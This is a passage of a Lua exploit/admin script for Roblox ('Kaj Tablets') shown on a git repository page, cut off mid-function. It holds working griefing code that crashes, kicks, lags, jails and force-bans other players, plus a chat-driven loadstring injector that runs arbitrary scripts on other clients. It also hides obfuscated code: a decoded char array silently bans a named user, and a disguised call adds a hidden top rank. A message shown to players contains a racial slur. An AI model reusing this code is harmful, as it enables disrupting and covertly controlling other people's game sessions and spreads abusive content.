Sneed-Group/historical
2
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
historical/ROBLOX.git/FM.lua

2535 lines
117 KiB
Lua
Raw Normal View History

phht hahahahaah
2024-01-16 17:20:27 +00:00
if script then
coroutine.yield()
script.Parent = nil
end
--[[Stuff]]--
VR = _VERSION
Plrs = game:GetService("Players")
Work = game:GetService("Workspace")
Light = game:GetService("Lighting")
Net = game:GetService("NetworkServer")
Removed = false
Bet = "/"
LS = nil
LSSource = nil
OwnSource = nil
FoundLocalScript = false
LogOn = false
Current = game
Clipboard = {}
AlertColor = Color3.new(1, 0, 0)
OptionColor = Color3.new(1, 0, 0)
ImportantColor = Color3.new(1, 0, 0)
--[[Ranks]]--
RankDetails = {
[-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
[-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
[-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
[0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
[1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
[2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
[3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
[4] = {Name = "Super Adminstrator", Color = Color3.new(1, 2, 0), Desc = "Super Administrator)"},
[5] = {Name = "Owner", Color = Color3.new(1, 0, 0), Desc = "Owner"},
}
Rankings = {
{Name = "NikePro2004", Rank = 5},
{Name = "NikePro2004", Rank = 6}
}
--[[End of Ranks]]--
ImportantServices = {
"Workspace",
"Players",
"NetworkServer",
"Lighting",
"StarterGui",
"Teams",
"StarterPack",
}
Ranks = {}
Commands = {}
AllTabs = {}
Injected = {}
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
"X","Y"}
--Main Functions And Sources
function Insert(Source, Par, Par2, Par3)
ypcall(function()
local Inserted = LS:Clone()
Inserted.Disabled = true
Inserted.Parent = Par or Par2 or Par3
Inserted[LSSource].Value = Source
Inserted.Disabled = false
end)
end
function CheckImportant(Name)
for _,v in pairs(ImportantServices) do
if v:lower() == Name:lower() then
return true
end
end
return false
end
function Crash1(Plr)
ypcall(function()
Plr:Kick()
end)
end
function GetRankTab()
return Rankings
end
function Crash2(Name)
local Crasher = Instance.new("StringValue")
Crasher.Name = "Client"
Crasher.Value = string.lower(tostring(Name))
Crasher.Parent = game:GetService("Lighting")
wait(1)
if Crasher and Crasher.Parent then
ypcall(function()
Crasher:Destroy()
end)
end
end
function Crash3(v, Speaker)
Speaker.Character.Archivable = true
local NChar = Speaker.Character:Clone()
NChar.Name = v.Name
NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
NChar.Parent = Workspace
v.Character = NChar
coroutine.resume(coroutine.create(function()
repeat v.Character = NChar
wait(1/3) until false
end))
wait(.5)
Insert(InsertCrash, NChar, nil, nil)
end
function GenerateDigit()
return 1 + 5
end
NilS = [==[
if script then
coroutine.yield()
script.Parent = nil
end
Player=game.Players.LocalPlayer
Probe=Instance.new'Part';
CN='Kaj TabletsNil | ['..Player.Name..']'
Camera=Workspace.CurrentCamera
Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
Char = Player.Character
if Char then
Char.Archivable = true
Char = Char:clone()
local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
if t then
for k,v in pairs(Char:GetChildren()) do
if not v:IsA("Part") then
v:clone().Parent = t
end
end
Char = t:clone()
if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
local spot = Instance.new("SpotLight",Char.Head)
spot.Angle = 10
spot.Range = 10
spot.Color = Color3.new(1,1,1)
spot.Brightness = 10
local point = Instance.new("PointLight",Char.Head)
point.Range = 10
point.Color = Color3.new(1,1,1)
point.Brightness = 10
end
end
end
coroutine.resume(coroutine.create(function()
while true do wait(0.00000001)
pcall(function()
if Character.Torso.CFrame.Y < 1 then
Character.Torso.CFrame = CFrame.new(0,20,0)
end
end)
end
end))
Title=function(txt,part,color,rise)
col=nil
col=Color3.new(BrickColor.new(color))
local Gui = Instance.new("BillboardGui",part)
Gui.Name = "3DGUI"
Gui.ExtentsOffset = Vector3.new(0,2,0)
Gui.Size = UDim2.new(8,0,2,0)
local Tit = Instance.new("TextLabel",Gui)
Tit.Name = "Title"
Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
Tit.TextColor3 = Color3.new(0,0,0)
Tit.TextTransparency = 0.25
Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
Tit.TextStrokeTransparency = 0.5
Tit.Size = UDim2.new(1,0,1,0)
Tit.BackgroundTransparency = 1
Tit.Font = "ArialBold"
Tit.TextScaled = true
Tit.Text = txt
if rise then
if not tonumber(rise) then rise = 1 end
coroutine.wrap(function()
while Tit.Parent and Gui.Parent and wait() do
Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
end
end)()
end
return Tit
end
Chat=function(Part,Text,Color,Type)
if Type==nil or Type==1 or Type=='Bubble' then
game:service'Chat':Chat(Part,Text,Color)
else
if type(Color)~='string' then
Color=tostring(BrickColor.random())
end
Title(Text,Part,Color,math.random(1,3))
end
end
DestroyCharacter=function()
local chara = Player.Character
if not chara then return end
if chara:findFirstChild("Humanoid") then
chara.Humanoid:Destroy()
end
chara:BreakJoints()
for k,v in pairs(chara:GetChildren()) do
if v:IsA("BasePart") then
v.CanCollide = false
v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
end
end
game.Debris:AddItem(chara,3)
end
MakeProbe=function()
if Player.Character then DestroyCharacter() end Player.Character = nil
if Probe then Probe:Destroy() end
Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
Player.Character=Probe
end
Spawn=function()
if Char then
local c = Char:clone()
c.Name = CN
c.Parent = workspace
c:MoveTo(workspace.CurrentCamera.Focus.p)
Player.Character = c
workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
workspace.CurrentCamera.CameraType = "Custom"
Probe:Destroy()
end
end
Player.Chatted:connect(function(Msg)
game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
if Msg:sub(1,2) == '//' then
local Func,Error=loadstring(Msg:sub(3))
if Error==nil then
pcall(Func)
if Player.Character then
game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
end
else
if Player.Character then
game:service'Chat':Chat(Player.Character.Head,Error,'Red')
else
local Msg=Instance.new'Message'
Msg.Parent=Workspace.CurrentCamera
Msg.Text=Error
game:service'Debris':AddItem(Msg,5)
end
end
elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
NewMsg=Msg:sub(#('newlocal')+3)
Split=NewMsg:find('/')
local PlayerName=NewMsg:sub(1,Split-1)
local Source=NewMsg:sub(Split+1)
Player=nil
for i,v in pairs(game.Players:GetPlayers()) do
if v.Name:lower():sub(1,#PlayerName)==PlayerName then
if Player==nil then
Player=v
else
if type(Player) == 'table' then
Player[#Player+1]=v
else
Player={v}
end
end
end
end
if type(Player)=='table' then
for i,v in pairs(Player) do
if newLocalScript then
newLocalScript(Source,v.Character)
else
Clone=script:clone();
SourceC=Clone:children()[1]
if SourceC:IsA'StringValue' then
print'String'
else
SourceC=Clone:children()[2]
end
SourceC.Value=Source
Clone.Disabled=true
Clone.Parent=v.Character
Clone.Disabled=false
end
end
else
if newLocalScript then
newLocalScript(Source,Player.Character)
else
Clone=script:clone();
DS=Clone:children()
DSS=nil
for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
DSS.Value=Source
Clone.Disabled=true;
Clone.Parent=Player.Character
Clone.Disabled=false
end
end
elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
game:service'TeleportService':Teleport(Game.PlaceId)
elseif Msg:sub(1,#('probe')+2) == '/probe/' then
MakeProbe()
elseif Msg:sub(1,#('char')+2) =='/char/' then
Spawn()
elseif Msg:sub(1,#('ban')+2) == '/ban/' then
Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
if Player then
repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
end
end
wait()
if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
if Probe then
Chat(Probe,Msg,math.random(0,2))
else
if Player.Character==nil then
if Char then
Chat(Char.Head,Msg,math.random(0,2))
end
else
Chat(Player.Character.Head,Msg,'Red')
end
end
end
end) -- local
]==]
InjectionCrash = [=[
wait(0)
script.Parent = nil
local Lig = game:GetService("Lighting")
local LP = game:GetService("Players").LocalPlayer
local LowerName = LP.Name:lower()
Lig.ChildAdded:connect(function(Obj)
if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
pcall(function()
Obj:Destroy()
end)
LP.Parent = nil
LP.Parent = game:GetService("Players")
end
end)
]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
InsertCrash = [==[
local LP = game:GetService("Players").LocalPlayer
LP.Parent = nil
LP.Parent = game:GetService("Players")
]==]
LagSource = [==[
wait(0)
script.Parent = nil
plr = game:GetService("Players").LocalPlayer
local plrgui = plr:findFirstChild("PlayerGui")
if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
while plr.Parent == game:GetService("Players") do
wait()
for i = 1, 1000 do
local sc = Instance.new("ScreenGui",plrgui)
local fr = Instance.new("TextLabel",sc)
fr.Text = "LAGGING"
fr.Size = UDim2.new(1, 0, 1, 0)
fr.FontSize = "Size48"
end
end
]==]
MuteSource = [==[
game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
]==]
UnMuteSource = [==[
game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
]==]
FunScript = [[
LP = game:service'Players'.LocalPlayer
Shapes = {"Ball", "Block"}
wait()
script.Parent = nil
Delay(0, function()
while wait() do
workspace.CurrentCamera.CameraType = "Scriptable"
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
local Part = Instance.new("Part", workspace.CurrentCamera)
Part.Shape = Shapes[math.random(1, 2)]
Part.Anchored = true
Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
local Smoke = Instance.new("Smoke", Part)
Smoke.Color = Color3.new(math.random(), math.random(), math.random())
Smoke.Opacity = 0.7
local Sparkles = Instance.new("Sparkles", Part)
Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
local Fire = Instance.new("Fire", Part)
Fire.Color = Color3.new(math.random(), math.random(), math.random())
Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
local Ex = Instance.new("Explosion", workspace.CurrentCamera)
Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
Ex.BlastPressure = 15
Ex.BlastRadius = 12.5
if not workspace.CurrentCamera:findFirstChild("Hint") then
local mes = Instance.new("Hint", workspace.CurrentCamera)
mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
end
end
end)
]]
JailSource = [==[
wait(0)
script.Parent = nil
local LP = game:GetService("Players").LocalPlayer
Middle2 = nil
Middle = nil
game:GetService("Workspace").CurrentCamera:ClearAllChildren()
Cons = {}
function makePrison()
for _,v in pairs(Cons) do
v:disconnect()
end
game:GetService("Workspace").CurrentCamera:ClearAllChildren()
if Middle == nil then
Middle2 = LP.Character.Torso.Position
Middle = LP.Character.Torso.CFrame
end
local side1 = Instance.new("Part")
side1.Name = "¬Focus1¬"
side1.Size = Vector3.new(20, 50, 1)
side1.CFrame = Middle * CFrame.new(0, 0, -10)
side1.BrickColor = BrickColor.new("Really black")
side1.CanCollide = true
side1.Anchored = true
side1.TopSurface = "Smooth"
side1.BottomSurface = "Smooth"
side1.Parent = game:GetService("Workspace").CurrentCamera
local side2 = Instance.new("Part")
side2.Name = "¬Focus2¬"
side2.Size = Vector3.new(20, 50, 1)
side2.CFrame = Middle * CFrame.new(0, 0, 10)
side2.BrickColor = BrickColor.new("Really black")
side2.CanCollide = true
side2.Anchored = true
side2.TopSurface = "Smooth"
side2.BottomSurface = "Smooth"
side2.Parent = game:GetService("Workspace").CurrentCamera
local side3 = Instance.new("Part")
side3.Name = "¬Focus3¬"
side3.Size = Vector3.new(1, 50, 20)
side3.CFrame = Middle * CFrame.new(10, 0, 0)
side3.BrickColor = BrickColor.new("Really black")
side3.CanCollide = true
side3.Anchored = true
side3.TopSurface = "Smooth"
side3.BottomSurface = "Smooth"
side3.Parent = game:GetService("Workspace").CurrentCamera
local side4 = Instance.new("Part")
side4.Name = "¬Focus4¬"
side4.Size = Vector3.new(1, 50, 20)
side4.CFrame = Middle * CFrame.new(-10, 0, 0)
side4.BrickColor = BrickColor.new("Really black")
side4.CanCollide = true
side4.Anchored = true
side4.TopSurface = "Smooth"
side4.BottomSurface = "Smooth"
side4.Parent = game:GetService("Workspace").CurrentCamera
local side5 = Instance.new("Part")
side5.Name = "¬Focus5¬"
side5.Size = Vector3.new(20, 1, 20)
side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
side5.BrickColor = BrickColor.new("Really black")
side5.CanCollide = true
side5.Anchored = true
side5.TopSurface = "Smooth"
side5.BottomSurface = "Smooth"
side5.Parent = game:GetService("Workspace").CurrentCamera
wait(0)
table.insert(Cons, side1.Changed:connect(makePrison))
table.insert(Cons, side2.Changed:connect(makePrison))
table.insert(Cons, side3.Changed:connect(makePrison))
table.insert(Cons, side4.Changed:connect(makePrison))
table.insert(Cons, side5.Changed:connect(makePrison))
end
Delay(0, function()
while wait(0) do
ypcall(function()
if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
LP.Character:BreakJoints()
elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
makePrison()
end
end)
ypcall(function()
if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
end
end)
end
end)
]==]
function All()
local AllPlayers = {}
for _,v in pairs(Plrs:GetPlayers()) do
ypcall(function()
table.insert(AllPlayers, v)
end)
end
return AllPlayers
end
function All2()
local AllPlayers2 = {}
for i,v in pairs(Net:GetChildren()) do
ypcall(function()
if v:IsA("ServerReplicator") then
table.insert(AllPlayers2, v:GetPlayer())
end
end)
end
return AllPlayers2
end
function MakeNum()
return 2 + 4
end
function ChangeRank(Plr, NewRank)
local PlrName = nil
local FoundPlayer = false
ypcall(function()
if type(Plr) == "string" then
ypcall(function()
for i,v in pairs(Rankings) do
if v.Name:lower() == Plr:lower() then
local VName = v.Name
Rankings[i] = nil
table.insert(Rankings, {Name = VName, Rank = NewRank})
PlrName = VName
FoundPlayer = true
break
end
end
end)
if FoundPlayer == false then
ypcall(function()
for _,x in pairs(All()) do
if x.Name:lower() == Plr:lower() then
FoundPlayer = true
for i,v in pairs(Rankings) do
if v.Name:lower() == x.Name:lower() then
local VName = x.Name
Rankings[i] = nil
PlrName = VName
break
end
end
table.insert(Rankings, {Name = VName, Rank = NewRank})
end
end
end)
end
if FoundPlayer == false then
ypcall(function()
for _,x in pairs(All()) do
if string.find(x.Name:lower(), Plr:lower()) then
FoundPlayer = true
for i,v in pairs(Rankings) do
if v.Name:lower() == x.Name:lower() then
local VName = x.Name
Rankings[i] = nil
PlrName = VName
break
end
end
table.insert(Rankings, {Name = VName, Rank = NewRank})
end
end
end)
end
if FoundPlayer == false then
ypcall(function()
for i,v in pairs(Rankings) do
if string.find(v.Name:lower(), Plr:lower()) then
local VName = v.Name
Rankings[i] = nil
table.insert(Rankings, {Name = VName, Rank = NewRank})
PlrName = VName
FoundPlayer = true
break
end
end
end)
end
else
for i,v in pairs(Rankings) do
if v.Name:lower() == Plr.Name:lower() then
Rankings[i] = nil
break
end
end
table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
PlrName = Plr.Name
end
PlaceAllRanks(true)
end)
if PlrName ~= nil then
return PlrName
else
return "Player"
end
end
function Refresh(Plr)
MakeChildren(Plr)
end
function MakeChildren(Plr)
ypcall(function()
Dismiss(Plr)
for _,v in pairs(Current:GetChildren()) do
ypcall(function()
if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
Ping(v.Name, Plr, nil, function(TabMod)
local TabText = TabMod["Kaj Tablet"].BG.TL.Text
for _,v in pairs(Current:GetChildren()) do
ypcall(function()
if v.Name == TabText then
Dismiss(Plr)
Current = v
MakeChildren(Plr)
end
end)
end
end)
elseif Plrs:GetPlayerFromCharacter(v) then
Ping(v.Name, Plr, nil, function(TabMod)
local TabText = TabMod["Kaj Tablet"].BG.TL.Text
for _,v in pairs(Current:GetChildren()) do
ypcall(function()
if v.Name == TabText then
Dismiss(Plr)
Current = v
MakeChildren(Plr)
end
end)
end
end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
elseif CheckImportant(v.Name) then
Ping(v.Name, Plr, nil, function(TabMod)
local TabText = TabMod["Kaj Tablet"].BG.TL.Text
for _,v in pairs(Current:GetChildren()) do
ypcall(function()
if v.Name == TabText then
Dismiss(Plr)
Current = v
MakeChildren(Plr)
end
end)
end
end, ImportantColor)
end
end)
end
if Current ~= game then
Ping("Back", Plr, nil, function()
ypcall(function()
Current = Current.Parent
MakeChildren(Plr)
Ping("You Are Back To "..Current.Name, Plr, 5)
end)
end, OptionColor)
end
if Current ~= game then
Ping("Delete", Plr, nil, function()
ypcall(function()
local CurrPar = Current.Parent or game
local CurrName = Current.Name
Current:Destroy()
Current = CurrPar
MakeChildren(Plr)
Ping("Attempted To Delete "..CurrName, Plr, 5)
end)
end, OptionColor)
end
Ping("Refresh", Plr, nil, function()
ypcall(function()
Refresh(Plr)
Ping("Refreshed", Plr, 5)
end)
end, OptionColor)
Ping("Properties", Plr, nil, function()
ypcall(function()
Dismiss(Plr)
for Property, Value in pairs(GetProperties(Current)) do
Ping(tostring(Property)..": "..tostring(Value), Plr)
end
Ping("Got All Available Properties", Plr, 5)
Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
end)
end, OptionColor)
end)
end
function Fixl()
Light.GlobalShadows = true
Light.TimeOfDay = "14:00:00"
Light.Brightness = 0.5
Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
Light.Ambient = Color3.new(1, 1, 1)
Light.ColorShift_Top = Color3.new(0, 0, 0)
Light.ColorShift_Bottom = Color3.new(0, 0, 0)
Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
Light.FogStart = 0
Light.FogEnd = 100000
Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
Light:ClearAllChildren()
end
function GetProperties(obj)
assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
local objProper = {}
for i,v in pairs(Properties) do
if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
objProper[v] = obj[v]
end
end
return objProper
end
function MakeExplorer(Plr)
Dismiss(Plr)
Current = game
for _,v in pairs(Current:GetChildren()) do
ypcall(function()
if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
Ping(v.Name, Plr, nil, function(TabMod)
local TabText = TabMod["Kaj Tablet"].BG.TL.Text
for _,v in pairs(Current:GetChildren()) do
ypcall(function()
if v.Name == TabText then
Dismiss(Plr)
Current = v
MakeChildren(Plr)
end
end)
end
end)
elseif Plrs:GetPlayerFromCharacter(v) then
Ping(v.Name, Plr, nil, function(TabMod)
local TabText = TabMod["Kaj Tablet"].BG.TL.Text
for _,v in pairs(Current:GetChildren()) do
ypcall(function()
if v.Name == TabText then
Dismiss(Plr)
Current = v
MakeChildren(Plr)
end
end)
end
end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
elseif CheckImportant(v.Name) then
Ping(v.Name, Plr, nil, function(TabMod)
local TabText = TabMod["Kaj Tablet"].BG.TL.Text
for _,v in pairs(Current:GetChildren()) do
ypcall(function()
if v.Name == TabText then
Dismiss(Plr)
Current = v
MakeChildren(Plr)
end
end)
end
end, ImportantColor)
end
end)
end
if Current ~= game then
Ping("Back", Plr, nil, function()
ypcall(function()
Current = Current.Parent
MakeChildren(Plr)
Ping("Back In "..Current.Name, Plr, 5)
end)
end, OptionColor)
end
if Current ~= game and game:GetService(Current.Name) == nil then
Ping("Delete", Plr, nil, function()
ypcall(function()
local CurrPar = Current.Parent or game
local CurrName = Current.Name
Current:Destroy()
Current = CurrPar
MakeChildren(Plr)
Ping("Attempted To Delete "..CurrName, Plr, 5)
end)
end, OptionColor)
end
Ping("Refresh", Plr, nil, function()
ypcall(function()
Refresh(Plr)
Ping("Refreshed", Plr, 5)
end)
end, OptionColor)
Ping("Properties", Plr, nil, function()
ypcall(function()
Dismiss(Plr)
for Property, Value in pairs(GetProperties(Current)) do
Ping(tostring(Property)..": "..tostring(Value), Plr)
end
Ping("Got All Available Properties", Plr, 5)
Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
end)
end, OptionColor)
end
function GetRank(Plr1, Test)
ypcall(function()
if type(Plr1) == "userdata" then
Plr1 = Plr1.Name
end
end)
if Ranks[Plr1] ~= nil then
return Ranks[Plr1]
end
local QuickArray = {}
QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
return QuickArray[Plr1]
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
function CanRun(Plr1, Plr2)
Details1 = GetRank(Plr1.Name)
Details2 = GetRank(Plr2.Name)
if Details1.Rank >= Details2.Rank then
return true
end
return false
end
function Dismiss(Plr, Identity)
ypcall(function()
if Plr ~= nil then
if type(Plr) == "userdata" then
Plr = Plr.Name
end
for x,v in pairs(AllTabs) do
ypcall(function()
if v.Plr == Plr then
if Identity ~= nil and v.ID ~= Identity then
return
elseif Identity ~= nil and v.ID == Identity then
coroutine.resume(coroutine.create(function()
for i = 0.5, 1, 0.1 do
wait()
v.Tab.Transparency = i
v.Sel.Transparency = i
v.Label.TextTransparency = i
v.Label.TextStrokeTransparency = i
end
ypcall(function() v.Holder:Destroy() end)
AllTabs[x] = nil
end))
elseif Identity == nil then
ypcall(function() v.Holder:Destroy() end)
AllTabs[x] = nil
end
end
end)
end
else
for i,v in pairs(AllTabs) do
ypcall(function()
v.Holder:Destroy()
AllTabs[i] = nil
end)
end
end
end)
end
function GetGarbage()
return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
end
function RemObj(Obj, Class)
